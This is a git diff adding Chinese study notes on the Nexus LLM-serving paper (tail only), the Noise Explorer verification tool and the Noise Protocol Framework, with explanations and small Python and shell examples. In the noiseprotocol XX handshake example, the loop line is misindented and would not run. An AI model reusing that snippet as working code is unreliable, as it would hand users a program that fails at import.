+|-------------|-----------------|
+| **vLLM + PagedAttention** | Nexus **实现底座**；解决 KV 存哪，Nexus 解决 **算力/带宽在 prefill/decode 间怎么分** |
+| **Sarathi / Chunked Prefill** | 提高利用率但引入 **混合 batch 干扰** —— Nexus 的对照组问题来源 |
+| **DistServe / Splitwise / vLLM-P/D** | **跨引擎** PD 分离；Nexus 追求相近 SLO，**一半 GPU** |
+| **FastServe (MLFQ)** | 缓解 HoL，但论文中 tail TTFT 差、高负载需 recompute |
+| **SGLang (RadixAttention)** | 前缀复用优化；Nexus 在 Mixed 负载吞吐仍显著领先 |
+
+可组合理解：**PagedAttention 管内存布局，Nexus 管同卡上的相位隔离与资源比例**——正交两层优化。
+
+---
+
+## 实践启示（给工程师的 checklist）
+
+1. **先量相位干扰**：若 profile 里 mixed batch 占比高、decode kernel 在 mixed 下延迟数倍 → 值得看 PD 分离类方案。
+2. **分离不必等于加卡**：单卡 SM 分区 + 双队列可能是 **成本敏感部署** 的甜点位。
+3. **动态比静态重要**：带宽争用随 KV 长度波动，**70% KV 阈值切目标** 这类信号比固定 50/50 更稳。
+4. **调度与资源要配对**：单独 SPF 或单独动态 SM 都不够；论文 ablation 已经量化。
+5. **部署依赖**：CUDA Green Context、较新驱动（论文 570.124.04）；需 offline profiling 标定 $\lambda, R_{\text{sat}}$。
+6. **尾延迟 trade-off**：prompt 长度极度多样时，P95 TTFT 可能仍逊于专门优化尾部的系统——要按 SLO 选 $\gamma, \alpha, \beta$。
+
+---
+
+## 踩过的坑（读论文时容易误解的点）
+
+1. **「Intra-GPU」不等于「单卡只能跑一个请求」** —— 仍是连续批处理，只是 **prefill batch 与 decode batch 分路**。
+2. **不是改 attention kernel** —— 论文强调 **无 kernel 修改**，靠 SM 分区 + 调度 + 成本模型。
+3. **Proactive ≠ 预测未来流量** —— 主要指用 **成本模型前向估算** + **KV 占用趋势** 选分区，而非 ML 预测 arrival。
+4. **整卡 PD 分离在曲线最右端** —— 整张 L20 Dedicated decode 已在 diminishing returns 区，**浪费 SM**。
+5. **与 Chunked Prefill 正交** —— Nexus 仍可 chunk 长 prompt，但 chunk 在 **prefill 通道** 里跑，不与 decode token 混同一 batch。
+
+---
+
+## 自测题
+
+1. 为什么 Chunked Prefill 提升利用率却可能恶化 TBT？
+2. 画一条「decode 延迟 vs SM 比例」草图，标出饱和区。
+3. $KV_u > KV_{\text{switch}}$ 时 Nexus 为什么转 Decode-prioritized？
+4. SPF 里 $\gamma$ 变大，对长 prompt 公平性有何影响？
+5. 若你只能实现 Nexus 的一个组件，先做动态 SM 还是 SPF？为什么（结合 ablation）？
+
+---
+
+## 参考资料
+
+- 论文：[arXiv:2507.06608](https://arxiv.org/abs/2507.06608)（v5 HTML 全文）
+- 作者：Xiaoxiang Shi, Colin Cai, Junjia Du, Zhihao Jia（CMU / Berkeley / NTU 等）
+- 底座：[vLLM](https://github.com/vllm-project/vllm) — 见本站 [[paged-attention-vllm]]
+- 背景：[[llm-serving-needs-math]]（prefill/decode 数学与调度）、[[hexagent-agentic-scheduling]]（跨阶段 Agent 调度）
+- NVIDIA：[CUDA Green Context](https://docs.nvidia.com/cuda/cuda-c-programming-guide/index.html)（SM 逻辑分区能力，具体 API 随驱动演进）
+
+---
+
+## 一句话总结
+
+**Nexus 把「跨 GPU 的 Prefill/Decode 分离」压缩进「单 GPU 内的 SM 动态分区」：用可解释的饱和成本模型主动决定算力切分，用 SPF/FCFS 分相调度，在不多买卡的前提下同时压低 TTFT、TBT 并提高吞吐。**
diff --git a/src/content/docs/papers/noise-explorer-2018.md b/src/content/docs/papers/noise-explorer-2018.md
new file mode 100644
index 000000000..adfcfc79b
--- /dev/null
+++ b/src/content/docs/papers/noise-explorer-2018.md
@@ -0,0 +1,298 @@
+---
+title: Noise Explorer — 给 Noise 握手配方装上「自动验房 + 一键施工」
+来源: https://noiseexplorer.com/
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Noise Explorer** 是 Nadim Kobeissi、Georgio Nicolas、Karthikeyan Bhargavan 在 2018–2019 年提出的**在线引擎 + 命令行工具**，专门服务 [Noise Protocol Framework](noise-protocol-framework)（Rev 34）。论文题为 *Noise Explorer: Fully Automated Modeling and Verification for Arbitrary Noise Protocols*（[ePrint 2018/766](https://eprint.iacr.org/2018/766)），正式发表于 **IEEE EuroS&P 2019**。
+
+日常类比：
+
+> 你想盖一间带保险柜的密室（端到端加密通道）。Noise 规范给了你**乐高式图纸**：每条消息写 `e`（临时钥匙）、`s`（长期身份）、`ee`/`es`（换钥匙的 DH 动作）就行，复杂的 HKDF 搅拌、状态机跳转由框架自动推导。  
+> 但图纸画错一行，密室可能「墙是纸糊的」——身份没藏住、前向保密失效、或恶意内鬼能冒充你。  
+>
+> **Noise Explorer** 就像一家**全自动验房公司 + 预制件工厂**：
+> 1. 你提交图纸（Handshake Pattern），它先查**是否符合建筑规范**（validity rules）  
+> 2. 把图纸翻译成**结构力学计算书**（ProVerif 符号模型），让计算机在「主动攻击者 + 恶意参与方」模型下逐条验安全目标  
+> 3. 把验房报告做成**带插图的说明书**（每条消息、每个角色到底保证了什么）  
+> 4. 顺手导出**可直接吊装的生产代码**（Go / Rust / Wasm）
+
+网站入口：[https://noiseexplorer.com/](https://noiseexplorer.com/)  
+开源 CLI：[symbolicsoft/noiseexplorer](https://github.com/symbolicsoft/noiseexplorer)
+
+## 为什么重要
+
+在 Noise Explorer 出现之前，形式化验证密码协议通常是「**先写完整协议，再手工建模型**」——TLS 1.3 级别的工作量。Noise 把协议压成几十字符的 pattern，但**人脑仍难一眼判断** `XK1` 和 `IKpsk2` 在第 2 条消息后谁对谁认证、静态密钥有没有前向保密。
+
+Noise Explorer 把这条链路压成**可重复的流水线**：
+
+| 痛点 | Noise Explorer 的解法 |
+|------|-------------------------|
+| Pattern 合法性靠肉眼 | 自动 validity check（token 顺序、pre-message 规则） |
+| ProVerif 模型要手写几百行 | 从 pattern **一键生成** applied π 演算模型 + 顶层进程 + 查询 |
+| 验证结果只有「证出/攻击」 | 解析 ProVerif 输出 → **逐消息 HTML 报告**（教学向） |
+| 证完还要自己写实现 | 生成 **Go / Rust** 实现，并对齐 Cacophony 测试向量 |
+| 57+ 种 pattern 逐个跑太慢 | 网站 **Compendium** 预存全套形式化结果 |
+
+论文分析了 **57 个以上** handshake pattern：确认 12 种基础模式的规范声明，对其余模式给出精确安全性质；还故意分析**违反 validity 规则**的不安全 pattern，展示 subtle attack。这项工作也**反哺 Noise 规范**——更强的 pattern 校验定义和 security goal 表述。
+
+WireGuard、WhatsApp、Signal 等已在用 Noise 或其变体；Noise Explorer 是「**设计阶段就把证明和代码一起带走**」的代表工具，和 [[proverif-2001]] 的工业用法一脉相承。
+
+## 核心概念
+
+### 1. 端到端流水线（Pattern → 模型 → 证明 → 报告 → 代码）
+
+```text
+  你输入的 Handshake Pattern
+  例: IKpsk2  或  XX / NK / 自定义
+           │
+           ▼
+  ┌─────────────────────┐
+  │  Syntax + Semantics │  ← 论文形式化 Noise Rev 34
+  │  Validity Rules     │
+  └──────────┬──────────┘
+             │
+     ┌───────┴───────┐
+     ▼               ▼
+ ProVerif 模型    Go / Rust / Wasm
+ (主动/被动攻击者)   生产级实现骨架
+     │
+     ▼
+ ProVerif 运行（本地或批处理）
+     │
+     ▼
+ HTML 逐消息安全报告（Compendium）
+```
+
+你不需要成为 ProVerif 专家才能**发起**验证；但读懂报告、改 pattern 仍需要理解 Noise token 语言（见 [[noise-protocol-framework]]）。
+
+### 2. 三类「翻译」
+
+**（1）符号模型（Symbolic Model）**  
+把 pattern 翻成 **applied π 演算**，供 ProVerif 使用。生成内容包含：
+
+- 双方（及可选 **恶意 principal Charlie**）的进程
+- 与 pattern 相关的 **DH、AEAD、HKDF** 抽象
+- **500+ 条安全查询** 量级（论文幻灯片：50+ 目标 × 10+ 变体）——针对该 pattern 定制，而非通用模板
+
+**（2）安全目标（Security Goals）**  
+查询覆盖但不限于：
+
+- **身份认证**（mutual / one-way authentication）
+- **强 vs 弱前向保密**（strong / weak forward secrecy）
+- **KCI 抵抗**（key compromise impersonation）
+- **身份隐藏**（identity hiding）
+- 在 **主动攻击者** 与 **被动攻击者** 下的区别
+- **恶意参与方**（malicious principal）——比 Noise 规范原文更严的安全模型
+
+**（3）软件实现（Implementation）**  
+同一 pattern 可导出：
+
+- **Go**、**Rust** 离散实现（面向服务器场景）
+- **WebAssembly**（浏览器侧实验）
+- 设计强调：**侧信道抗性**、性能与内存效率；测试对齐 **Cacophony** Haskell 参考实现
+
+### 3. Compendium 与「逐消息详解」
+
+网站 [Explore Patterns](https://noiseexplorer.com/patterns/) 列出规范中的 pattern（如 `XX`、`IK`、`NK`、`XXfallback`…）。每个 pattern 有：
+
+- 总览页：各消息完成后双方达成的安全目标
+- **Detailed Analysis**：点某条消息 → 例如 `.../patterns/IK/A.html`，说明**该消息之后**对 Initiator / Responder 分别保证什么
+
+这是论文强调的**教学价值**：形式化结果不是给审稿人看的 PDF 附录，而是给下一届学生看的**可浏览图谱**。
+
+### 4. Validity Rules：为什么「能解析」≠「安全」
+
+Noise 允许你组合 token，但**合法 pattern** 必须满足规范里的结构性规则（例如：某些 `ss` 出现时机、pre-message 与首条消息的关系）。Noise Explorer 的 validity check 对应这些规则。
+
+论文展示：若**故意违反**规则，ProVerif 能找到攻击——说明工具不仅「证已知安全的」，还能**拒收或警告**坏设计。设计新 pattern 时，应**先过 Explorer 校验**，再信 Compendium 里相近模式的结论。
+
+### 5. 与 Noise 规范、ProVerif 的关系
+
+| 组件 | 角色 |
+|------|------|
+| [[noise-protocol-framework]] | 领域语言：pattern、token、CipherState |
+| Noise Explorer | 编译器 + 验房师 + 代码生成器 |
+| [[proverif-2001]] | 后端证明引擎（Dolev-Yao，符号模型） |
+| [[hkdf-rfc5869]] | Noise `MixKey` 的密码学积木（模型里抽象为 PRF） |
+
+Noise Explorer **不替代**对 Noise 规范本身的阅读；它替代的是「为每个 pattern 手写 ProVerif」的体力活。
+
+## 实践案例
+
+### 案例 1：用「伪代码」理解 Explorer 在验什么
+
+下面用 Python **模拟** validity 检查的核心直觉（非 Explorer 源码，仅为零基础读者建立心智模型）：
+
+```python
+# 极简示意：Noise 消息 token 的合法顺序约束（真实规则见 Noise Rev 34 §7）
+ALLOWED_TOKENS = frozenset({"e", "s", "ee", "es", "se", "ss", "psk"})
+
+def parse_pattern_line(line: str) -> tuple[str, list[str]]:
+    """解析 Explorer 风格的一行: '-> e, es, s' """
+    line = line.strip()
+    if line.startswith("->"):
+        role, rest = "initiator", line[2:]
+    elif line.startswith("<-"):
+        role, rest = "responder", line[2:]
+    else:
+        raise ValueError(f"bad direction: {line!r}")
+    tokens = [t.strip() for t in rest.split(",") if t.strip()]
+    return role, tokens
+
+def check_tokens(tokens: list[str], seen_ephemeral: bool) -> tuple[bool, str, bool]:
+    """返回 (ok, reason, seen_ephemeral_after)"""
+    for t in tokens:
+        if t not in ALLOWED_TOKENS:
+            return False, f"unknown token {t!r}", seen_ephemeral
+        if t == "e":
+            if seen_ephemeral:
+                return False, "duplicate ephemeral 'e' in same message flow", True
+            seen_ephemeral = True
+        # 真实 Explorer 还检查：s 之前是否已有足够 MixKey、psk 位置等
+    return True, "ok", seen_ephemeral
+
+def validate_handshake_pattern(lines: list[str]) -> None:
+    seen_e = False
+    for i, line in enumerate(lines, 1):
+        role, tokens = parse_pattern_line(line)
+        ok, msg, seen_e = check_tokens(tokens, seen_e)
+        if not ok:
+            raise SystemExit(f"line {i} ({role}): {msg}")
+    print("pattern syntax OK — send to Noise Explorer for full validity + ProVerif")
+
+# WireGuard 核心类似 IKpsk2（发起方已知服务器 static）
+IKpsk2_skeleton = [
+    "<- s",                    # pre-message: responder static known to initiator
+    "-> e, es, s, ss",
+    "<- e, ee, se",
+    "psk",                     # 某些表示法中 psk 单独一轮
+]
+# 教学用简化行（网站 UI 用单行 IKpsk2 表示）
+demo = [
+    "-> e, es, s, ss",
+    "<- e, ee, se, psk",
+]
+validate_handshake_pattern(demo)
+```
+
+Explorer 做的远多于此：把每步 token **展开**成完整状态机迁移，再生成 ProVerif 进程。
+
+### 案例 2：命令行生成 ProVerif 模型与 Go 实现
+
+仓库 [symbolicsoft/noiseexplorer](https://github.com/symbolicsoft/noiseexplorer) 提供 CLI（需 Node.js；验证还需安装 ProVerif；跑实现需 Go/Rust）。
+
+```bash
+# 克隆后安装依赖，以仓库 README 为准
+git clone https://github.com/symbolicsoft/noiseexplorer.git
+cd noiseexplorer
+npm install
+
+# 交互式 CLI
+node .
+
+# 批处理：patterns/ 下所有规范 pattern → ProVerif 模型
+make models
+# 输出在 models/
+
+# 批处理：生成 Go / Rust / Wasm 实现
+make implementations
+
+# 用 Cacophony 向量回归测试
+make tests
+```
+
+在交互模式中选择 pattern（如 `IK`）、输出格式（`pv` = ProVerif，`go`，`rust`），即可得到**与该 pattern 完全对应**的文件，而非通用 Noise 库。把 `models/IK.pv` 交给 ProVerif：
+
+```bash
+proverif models/IK.pv
+```
+
+Explorer 还可把 ProVerif 的 `result` 输出**渲染成 HTML**——网站 Compendium 上的页面就是这样批量生成的。
+
+### 案例 3：在网站上读 `IK` 的验房报告
+
+1. 打开 [noiseexplorer.com/patterns/IK](https://noiseexplorer.com/patterns/IK/)  
+2. 查看每条消息后的认证 / 保密 / 前向保密标注  
+3. 点击 **Show detailed analysis** → 进入单消息页（如 message A）  
+4. 对照 [[noise-protocol-framework]] 里 `IK` 的 token 表，理解「为何第 1 条后要发 `es` 才能藏住 initiator 的 `s`」
+
+这比单独读 ProVerif 的 `RESULT` 行友好得多——也是论文标题里 **Pedagogical reports** 的含义。
+
+### 案例 4：主动攻击者 vs 被动攻击者模型
+
+网站按钮 **Get Model (active attacker)** / **(passive attacker)** 对应生成时攻击者能力不同：
+
+- **被动**：只能窃听、存储、重放网络上可见的消息  
+- **主动**：可拦截、篡改、注入、参与会话（经典 Dolev-Yao）  
+- **恶意 principal**：某合法参与方本身作恶——Compendium 的安全声明比 Noise 规范原文更严
+
+设计高威胁模型协议（如去中心化身份、多跳中继）时，应优先看 **active + malicious** 结果，而不是只看被动模型里的「绿色通过」。
+
+## 踩过的坑
+
+1. **把 Compendium 当永久真理**  
+   Noise 规范会修订（Rev 34 后仍有 errata）。Explorer 版本与规范 revision 绑定（如 v1.0.7 → Rev 34）。升级规范后应**重新生成模型**。
+
+2. **证不出来 ≠ 不安全**  
+   与所有 ProVerif 用法一样：超时、查询过强、抽象过粗都会导致「无法证明」。需要简化查询或手工加引理（见 [[proverif-2001]]）。
+
+3. **符号安全 ≠ 实现安全**  
+   生成的 Go/Rust 仍依赖底层 crypto 库（Curve25519、ChaChaPoly）的正确实现。侧信道、内存清零、nonce 复用等**实现层**问题，Explorer 证明覆盖不到。
+
+4. **忽略 validity**  
+   自定义 pattern 若绕过校验，可能出现规范外的「看起来能跑」的组合。论文专门分析了这类**不安全 pattern**——不要在生产环境试未经 Explorer 认可的配方。
+
+5. **混淆 Pattern 与完整 Protocol Name**  
+   Explorer 操作的是 **Handshake Pattern**（如 `XX`）。完整名 `Noise_XX_25519_ChaChaPoly_SHA256` 还包含 DH/Cipher/Hash；实现生成时要一并选定，否则与 WireGuard / 你的应用套件不一致。
+
+## 与相关工作的位置
+
+```text
+  Trevor Perrin — Noise Framework (2016–2018)
+           │
+           ├── WireGuard (IKpsk2 + 用户空间协议)
+           ├── WhatsApp / 其他 Noise 变体
+           │
+           ▼
+  Kobeissi, Nicolas, Bhargavan — Noise Explorer (2018/766, EuroS&P 2019)
+           │
+           ├── 自动 ProVerif 模型 + Compendium
+           ├── 教学向 HTML 报告
+           └── Go/Rust/Wasm 代码生成
+           │
+           ▼
+  后续：Noise 规范修订、Lipp 等对 WireGuard 的 CryptoVerif 验证（计算模型，互补）
+```
+
+若你已会用 [[proverif-2001]] 手写小型协议，Noise Explorer 的价值是**把 Noise 全家桶变成批处理**；若你是零基础，建议路径：
+
+1. 读 [[noise-protocol-framework]] 弄懂 `e`/`s`/`ee`  
+2. 在 noiseexplorer.com **玩两个 pattern**（`NN` vs `XX`）看报告差异  
+3. 再读本文流水线部分，理解「报告从哪来」
+
+## 自测题
+
+1. Noise Explorer 的四项主要能力是什么？（设计校验、模型生成、结果浏览、代码生成）  
+2. 「恶意 principal」比标准 Dolev-Yao 攻击者多了什么能力？  
+3. 为什么论文要分析「违反 validity 的 pattern」？  
+4. `IK` 与 `XX` 在 Compendium 里最大的安全属性差异通常是什么？（提示：先验知识 vs 互认）  
+5. 符号验证通过后，部署前还应检查哪三类非形式化风险？
+
+## 延伸阅读
+
+- 论文 PDF：[https://eprint.iacr.org/2018/766](https://eprint.iacr.org/2018/766)  
+- 在线工具：[https://noiseexplorer.com/](https://noiseexplorer.com/)  
+- RWC 2019 幻灯片：[Noise Explorer slides](https://rwc.iacr.org/2019/slides/NoiseExplorer.pdf)  
+- Noise 规范：[https://noiseprotocol.org/noise.html](https://noiseprotocol.org/noise.html)  
+- 本库笔记：[[noise-protocol-framework]]、[[proverif-2001]]、[[hkdf-rfc5869]]、[[wireguard-2017]]
+
+---
+
+**一句话总结**：Noise Explorer 把 Noise handshake pattern 从「一行缩写」变成「可证明、可浏览、可编译」的全自动流水线——是零基础学习现代协议形式化工程的最佳入口之一。
diff --git a/src/content/docs/papers/noise-protocol-framework.md b/src/content/docs/papers/noise-protocol-framework.md
new file mode 100644
index 000000000..803037468
--- /dev/null
+++ b/src/content/docs/papers/noise-protocol-framework.md
@@ -0,0 +1,289 @@
+---
+title: Noise Protocol Framework — 用「握手配方」拼出端到端加密通道
+来源: https://noiseprotocol.org/noise.pdf
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Noise Protocol Framework 是一套**把「怎么握手、怎么加密」写成可组合配方的规范**，由 Trevor Perrin 在 2018 年发布修订版（Noise Rev 34）。日常类比：TLS 像一本厚到没人读完的「安全装修大全」；Noise 像宜家说明书——先选握手模式（XX / IK / NK…），再选螺丝规格（Curve25519）、板材（ChaChaPoly）、胶水（SHA256），按步骤拧完就得到一条加密通道。
+
+协议分两段生命周期：
+
+1. **握手阶段（Handshake）**：双方交换临时公钥 `e`、长期公钥 `s`，做一系列 Diffie-Hellman，把结果混进哈希，最终得到共享密钥。
+2. **传输阶段（Transport）**：握手结束后 `Split()` 出两个方向独立的 `CipherState`，后续消息用 AEAD 加密，带递增 nonce。
+
+Noise 不规定你怎么传字节（TCP、UDP、内存队列都行），只规定握手语义和对称加密状态机。WireGuard、Signal、WhatsApp、Lightning Network 等都直接或间接用了 Noise 或其变体。
+
+## 为什么重要
+
+不理解 Noise，下面这些事都会变成「黑盒魔法」：
+
+- WireGuard 为什么配置里只有 `PrivateKey` / `PublicKey` / `PresharedKey`，没有证书链——它跑的是 `Noise_IKpsk2` 一类模式
+- Signal 的 X3DH 和 WhatsApp 的端到端加密，底层 DH 组合逻辑和 Noise 的 token 语言是同一种思路
+- 你想自己设计「客户端已知服务器公钥、一次往返建连」的协议，Noise 的 `IK` / `NK` 模式就是现成答案
+- ProVerif、Noise Explorer 等形式化工具能**自动分析** Noise 模式的安全性，因为模式语法足够小
+
+## 核心要点
+
+### 1. 三层抽象
+
+| 层级 | 是什么 | 例子 |
+|------|--------|------|
+| Handshake Pattern | 消息顺序 + 每条消息里的 token | `XX`, `IK`, `NN` |
+| Protocol Name | Pattern + 密码套件 | `Noise_XX_25519_ChaChaPoly_SHA256` |
+| 应用 | 自己管长度、重连、身份绑定 | WireGuard、你的 RPC |
+
+### 2. Token 语言（消息模式里的「动作」）
+
+每条握手消息是一串 token，常见集合：`e`, `s`, `ee`, `es`, `se`, `ss`, `psk`。
+
+- `e`：生成临时密钥对，把 `e.public_key` 明文放进消息，并 `MixHash`
+- `s`：把长期公钥 **加密后**放进消息（`EncryptAndHash`）
+- `ee`：`MixKey(DH(我的 e, 对方的 re))`——双方临时密钥 DH
+- `es` / `se`：临时密钥与对方长期密钥的 DH（发起方/响应方方向不同）
+- `ss`：双方长期密钥 DH
+- `psk`：混入预共享密钥（PSK）
+
+所有 DH 输出经 `MixKey` → HKDF 风格派生，再喂给 `CipherState`；同时 `MixHash` 保证 transcript 绑定。
+
+### 3. 经典模式 `XX`（双向互认、零先验）
+
+```
+XX:
+  -> e
+  <- e, ee, s, es
+  -> s, se
+```
+
+- 第 1 条：发起方发临时公钥
+- 第 2 条：响应方发临时公钥 + 做 `ee` + 加密发自己的 `s` + `es`
+- 第 3 条：发起方加密发自己的 `s` + `se`
+
+三条消息后双方互知对方长期公钥，且静态密钥在握手中有前向保密（靠 ephemeral DH 混合）。
+
+### 4. 状态机对象
+
+规范定义三个核心状态（实现里通常一一对应）：
+
+- **`SymmetricState`**：维护 `h`（握手 transcript 哈希）和 `ck`（链密钥），负责 `MixHash` / `MixKey` / `Split`
+- **`CipherState`**：持有一个 AEAD 密钥 `k` 和 nonce `n`，负责 `encrypt_with_ad` / `decrypt_with_ad`
+- **`HandshakeState`**：驱动 `write_message` / `read_message`；握手完成时 `Split()` 返回两个 `CipherState`（发送/接收）
+
+初始化时要传入：角色（initiator/responder）、本地 `s`/`e`、已知的对方 `rs`/`re`（若有 pre-message）、以及可选 `prologue`（双方要一致的上下文，例如协议版本字符串）。
+
+### 5. 协议命名
+
+完整名字形如：
+
+```
+Noise_<Pattern>_<DH>_<Cipher>_<Hash>
+```
+
+例如 `Noise_XX_25519_ChaChaPoly_SHA256`。名字本身也会参与 `SymmetricState` 初始化（防跨协议混淆）。常见套件：
+
+- DH：`25519`（Curve25519）、`448`、`_secp256k1` 等
+- Cipher：`ChaChaPoly`、`AESGCM`
+- Hash：`SHA256`、`SHA512`、`BLAKE2s`、`BLAKE2b`
+
+### 6. 与 TLS 的对比（直觉）
+
+| | TLS 1.3 | Noise |
+|---|---------|-------|
+| 定位 | 完整传输安全协议 + 生态 | 握手 + 对称加密的**框架** |
+| 证书 | X.509  PKIX 为主 | 不内置；你用公钥指纹 / PSK / 证书自己绑 |
+| 可组合性 | 固定握手流程（扩展复杂） | Pattern 像乐高，换一行就换安全属性 |
+| 形式化 | 可以但很重 | Pattern 小，Noise Explorer / ProVerif 友好 |
+
+## 实践案例
+
+### 案例 1：读懂一条握手「菜谱」
+
+下面用 Python 注释把 `Noise_IK` 模式拆开——发起方**事先知道**响应方长期公钥 `rs`（WireGuard 客户端连已知服务器时常用）：
+
+```python
+# Noise_IK — Initiator knows responder's static key (rs) ahead of time
+#
+# Pre-message (响应方公钥在握手前就已输入 Initialize):
+#   <- s
+# ------
+# Message 1 (initiator -> responder):
+#   -> e, es, s, ss
+#   含义：发临时 e；DH(e, rs)；加密发自己的 s；DH(s, rs)
+#
+# Message 2 (responder -> initiator):
+#   <- e, ee, se
+#   含义：发临时 e；DH(e, re)；DH(s, re)
+
+PATTERN_IK = {
+    "pre_message_responder": ["s"],           # 响应方 static 在握手前已知
+    "messages": [
+        ("initiator", ["e", "es", "s", "ss"]),
+        ("responder", ["e", "ee", "se"]),
+    ],
+}
+
+def describe_round(role: str, tokens: list[str]) -> str:
+    actions = {
+        "e": "生成临时密钥并发送公钥",
+        "s": "加密发送长期公钥",
+        "ee": "MixKey(DH(我的e, 对方re))",
+        "es": "MixKey(DH(我的e, 对方rs))",
+        "se": "MixKey(DH(我的s, 对方re))",
+        "ss": "MixKey(DH(我的s, 对方rs))",
+    }
+    steps = [actions[t] for t in tokens]
+    return f"{role}: " + " → ".join(steps)
+
+for role, tokens in PATTERN_IK["messages"]:
+    print(describe_round(role, tokens))
+```
+
+运行后会打印两轮消息各自执行的 DH 与密钥发送顺序——**这就是 Noise 的核心可读性**：安全属性写在模式名和 token 序列里，而不是埋在几千行 ASN.1 里。
+
+### 案例 2：用 Python `noiseprotocol` 跑通 `XX` 握手
+
+`pip install noiseprotocol` 后，可用高层 `NoiseConnection` 完成握手并进入传输加密（与官方 README 示例同构，这里改为双向互认的 `XX`）：
+
+```python
+from itertools import cycle
+from noise.connection import NoiseConnection
+
+PROTO = b"Noise_XX_25519_ChaChaPoly_SHA256"
+
+def run_handshake(initiator: NoiseConnection, responder: NoiseConnection) -> None:
+    """在内存里交替 read/write，模拟网络收发。"""
+  for action in cycle(["send", "receive"]):
+        if initiator.handshake_finished and responder.handshake_finished:
+            break
+        if action == "send":
+            msg = initiator.write_message()
+            responder.read_message(msg)
+        else:
+            msg = responder.write_message()
+            initiator.read_message(msg)
+
+# --- 发起方 ---
+client = NoiseConnection.from_name(PROTO)
+client.set_as_initiator()
+client.start_handshake()
+
+# --- 响应方 ---
+server = NoiseConnection.from_name(PROTO)
+server.set_as_responder()
+server.start_handshake()
+
+run_handshake(client, server)
+
+# 握手完成：encrypt/decrypt 走传输阶段 AEAD
+plaintext = b"hello noise"
+ciphertext = client.encrypt(plaintext)
+assert server.decrypt(ciphertext) == plaintext
+
+reply = server.encrypt(b"pong")
+assert client.decrypt(reply) == b"pong"
+```
+
+要点：
+
+- `from_name` 一次性选定 pattern + 密码套件
+- `write_message` / `read_message` 只负责握手；完成后用 `encrypt` / `decrypt`
+- 真实网络里你把 `msg` 字节发到 socket；长度 framing 由应用负责（Noise 不管）
+
+### 案例 3：WireGuard 用的 `IKpsk2` 长什么样
+
+WireGuard 在 Noise 之上加了 UDP、定时器、路由；握手核心是 **发起方已知服务器公钥 + 可选 PSK**：
+
+```
+Noise_IKpsk2_25519_ChaChaPoly_BLAKE2s
+
+<- s                    # 客户端配置里已有 server public key
+------
+-> e, es, s, ss
+<- e, ee, se, psk
+```
+
+`psk2` 表示第二轮消息里混入预共享密钥，抵御未来长期密钥泄露后的被动解密（仍依赖 PSK 保密）。`noiseprotocol` 仓库的 `examples/wireguard/` 演示了如何用 `set_psks` + `set_prologue` 对齐这一模式。
+
+## 踩过的坑
+
+1. **Pattern 选错比 cipher 选错更致命**：`NN` 完全不认证；`NK` 只单向认证。生产环境默认应至少 `IK`（已知服务器）或 `XX`（双向互认）。
+
+2. **忘记 prologue**：若双方 `prologue` 不一致，`MixHash` 从第一步就分叉，握手 mysteriously 失败。绑定协议版本、租户 ID 时应显式传入相同 bytes。
+
+3. **静态公钥 `s` 是加密的，不是明文**：读抓包时看不到长期公钥裸奔——只有握手里 `e` 的公钥部分是明文。
+
+4. **Noise 不管重放、不管长度**：传输层 AEAD 只防篡改；应用要自己加 session ID、序号或 framing，否则 UDP 上容易踩坑。
+
+5. **invalid DH 公钥处理**：规范要求实现要么拒绝，要么返回与私钥无关的确定值；别悄悄继续握手。
+
+6. **与 TLS 证书模型不同**：Noise 给你「公钥即身份」；若你不把公钥指纹存好，就等价于 TOFU（首次信任）。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- VPN / 隧道（WireGuard 已验证）
+- 移动端 IM 端到端加密（Signal 系）
+- 嵌入式、资源受限设备（实现可很小，`snow`、`noise-c`）
+- 需要**自定义握手**但不想重造 TLS 的协议
+- 需要形式化验证握手安全属性的研究/合规场景
+
+**不适用**：
+
+- 需要 Web 浏览器直接握手（没有统一 Noise-in-browser 标准；HTTPS 仍用 TLS）
+- 复杂 PKI、OCSP、企业证书轮换——请用 TLS 或自己在 Noise 之上建证书层
+- 需要内置应用层语义（ALPN、HTTP 升级）——Noise 不管应用
+- 团队不愿管理长期密钥分发——没有 CA 帮你发证书
+
+## 历史小故事（可跳过）
+
+- **2013–2014**：Trevor Perrin 在 TLS 1.3 讨论中感到「握手太复杂、难形式化」，开始写更小的 DH 握手框架
+- **2016–2017**：早期 draft 在 GitHub `noiseprotocol/noise_spec` 迭代；社区出现 `noise-c`、`snow`（Rust）等实现
+- **2018**：Noise Rev 34 定稿；[noiseprotocol.org](https://noiseprotocol.org/) 发布 PDF/HTML 规范
+- **2018+**：WireGuard 并入 Linux 内核；Signal Double Ratchet 与 Noise 思想并行影响业界
+- **2018**：Noise Explorer 发布，可自动建模并验证模式安全性
+
+Noise 没有走 IETF RFC 路线，而是「规范 + 实现 + 形式化工具」社区驱动——这在密码协议里相对少见，但工程落地极快。
+
+## 学到什么
+
+1. **把握手写成语言，比堆代码更安全**：token 序列让「谁认证谁、有没有前向保密」一眼可读
+2. **DH 输出要统一进 KDF 链**：`MixKey` + `MixHash` 双轨，兼顾密钥材料与 transcript 绑定
+3. **框架与协议分离**：Noise 解决「怎么建立 `CipherState`」；WireGuard 解决「UDP 上怎么跑 VPN」
+4. **命名即配置**：`Noise_XX_25519_ChaChaPoly_SHA256` 既是 API 参数也是跨实现互操作契约
+5. **小规范利于工具化**：Noise Explorer、ProVerif 能批量分析模式，降低自定义协议踩雷概率
+6. **公钥身份模型要产品化**：Noise 不给 CA；指纹二维码、key directory 要自己做
+
+## 延伸阅读
+
+- 规范 PDF：[The Noise Protocol Framework (Rev 34)](https://noiseprotocol.org/noise.pdf)
+- 在线 HTML 版：[noise_rev34.html](https://noiseprotocol.org/noise_rev34.html)
+- 形式化工具：[Noise Explorer](https://noiseexplorer.com/) — 输入 pattern 得安全属性与 ProVerif 模型
+- 实现：`noise-c`（C）、`snow`（Rust）、[`noiseprotocol`](https://github.com/plizonczyk/noiseprotocol)（Python）
+- WireGuard 论文：Donenfeld, "WireGuard: Next Generation Kernel Network Tunnel" — Noise 的工程范本
+- 对比阅读：[[tls-1-3]] — 完整 PKIX + 浏览器生态的「重型」路线
+
+## 关联
+
+- [[hkdf-rfc5869]] — Noise 内部 `MixKey` 链与 HKDF 思想一致，TLS 1.3 也用 HKDF
+- [[tls-1-3]] — 浏览器 HTTPS 的事实标准；与 Noise 是不同设计哲学
